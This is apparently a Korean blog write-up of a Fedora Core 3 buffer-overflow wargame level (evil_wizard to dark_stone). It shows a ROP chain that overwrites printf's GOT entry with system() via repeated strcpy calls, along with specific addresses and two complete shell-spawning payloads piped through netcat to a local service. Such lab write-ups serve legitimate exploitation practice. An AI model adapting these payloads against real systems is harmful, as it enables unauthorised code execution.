systemhacking/practice

fedoracore 3 evil_wizard->dark_stone

qkqhxla1 2015. 2. 26. 17:01

http://turtle1000.tistory.com/69 참조

앞의 hell_fire->evil_wizard문제와 비슷하지만 


// buffer cleaning

        memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);


라는 코드때문에 버퍼의 제약이 있다. got에 쓰는걸 잘못 활용하면 data로 값이 넘어가게되는데 위의 코드로 인해 버퍼가 초기화되서 제대로 실행이 안 될수도 있다고 함. 그래서


| buf(268) | +

| strcpy@plt | ppr | bss+4[0] | system[0] | +

| strcpy@plt | ppr | bss+4[1] | system[1] | +

| strcpy@plt | ppr | bss+4[2] | system[2] | +

| strcpy@plt | ppr | bss+4[3] | system[3] | +

| strcpy@plt | ppr | printf@got | bss+4 | +

| printf@plt | AAAA | &/bin/sh |


이런식으로 페이로드를 짠다고 한다. 위의 코드는 bss+4의 영역에 system함수를 하나하나 넣은다음 마지막에 bss+4의 주소를 통째로 printf@got로 복사함으로서 printf대신 system함수가 출력되서 쉘을 실행하는 원리이다. 방금전 문제와 plt나 got의 주소가 다를 수 있으므로 새로 다시 구해야 됨.


strcpy@plt = 0x8048438      ,    printf@plt = 0x8048408



ppr = 0x80484f3    ,    printf@got = 0x804984c

*system은 이전과 같은 0x7507c0 이다. &/bin/sh도 이전과 같은 0x833603 이다.

system을 구성하는것들은 위 사이트에서 쓴걸 내가 일일히 찾아서 올린다. 어떤게 되고 어떤게 안되는지는 삽질 예정.

c0 = 0x8048484    ,    07 = 0x804817c    ,    75 = 0x80482b4 ,    00 = 0x80483c4


bss = 0x08049868



결론.

| buf(268) | +

| strcpy@plt | ppr | bss+4[0] | system[0] | +

| strcpy@plt | ppr | bss+4[1] | system[1] | +

| strcpy@plt | ppr | bss+4[2] | system[2] | +

| strcpy@plt | ppr | bss+4[3] | system[3] | +

| strcpy@plt | ppr | printf@got | bss+4 | +

| printf@plt | AAAA | &/bin/sh |


strcpy@plt = 0x8048438      ,    printf@plt = 0x8048408

ppr = 0x80484f3    ,    printf@got = 0x804984c

system = 0x7507c0    ,    &/bin/sh = 0x833603 

c0 = 0x8048484    ,    07 = 0x804817c    ,    75 = 0x80482b4 ,    00 = 0x80483c4

bss = 0x08049868


(python -c 'print "a"*268+

"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6c\x98\x04\x08"+"\x84\x84\x04\x08"+

"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6d\x98\x04\x08"+"\x7c\x81\x04\x08"+

"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6e\x98\x04\x08"+"\xb4\x82\x04\x08"+

"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6f\x98\x04\x08"+"\xc4\x83\x04\x08"+

"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x4c\x98\x04\x08"+"\x6c\x98\x04\x08"+

"\x08\x84\x04\x08"+"aaaa"+"\x03\x36\x83\x00"';cat) | nc localhost 8888


가독성을 높이려고 일부러 줄내림 했으니 공격 시에는 붙여서 해야될듯.




삽질 결과 c0은 윗주소인 0x80483f4, 00은 0x80483a8이 되는거 확인.

bss구역을 사용하는것도 왜 bss+4를 사용하지..? 라는 의문이 들었으나 그냥 bss의 주소를 사용해도 된다는걸 삽질로 확인


(python -c 'print "a"*268+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x68\x98\x04\x08"+"\xf4\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x69\x98\x04\x08"+"\x7c\x81\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6a\x98\x04\x08"+"\xb4\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6b\x98\x04\x08"+"\xa8\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x4c\x98\x04\x08"+"\x68\x98\x04\x08"+"\x08\x84\x04\x08"+"aaaa"+"\x03\x36\x83\x00"';cat) | nc localhost 8888


또다시 삽질로 확인해봐야되는건 

// buffer cleaning

        memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

가 왜 데이터 영역을 덮어씌우냐?? 데이터영역은 다른 주소던데.. 확인 필요


찾다보니 참고자료로 좋은 블로그를 찾음 : http://shinluckyarchive.tistory.com/159

'systemhacking > practice' 카테고리의 다른 글

overthewire vortex 0~  (0) 2015.03.28
fedoracore 3 hell_fire->evil_wizard  (0) 2015.02.25
io.smash the stack 6~8  (0) 2015.02.21
fedoracore 3 dark_eyes->hell_fire  (0) 2015.02.20
fedoracore 3 iron_golem->dark_eyes  (0) 2015.02.17